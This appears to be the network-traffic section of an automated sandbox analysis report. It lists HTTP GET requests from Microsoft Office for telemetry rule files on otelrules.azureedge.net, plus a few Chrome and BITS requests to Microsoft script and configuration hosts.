Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: 0x8DCEC757C1AD1D1If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: 0x8DCEC757C1AD1D1If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
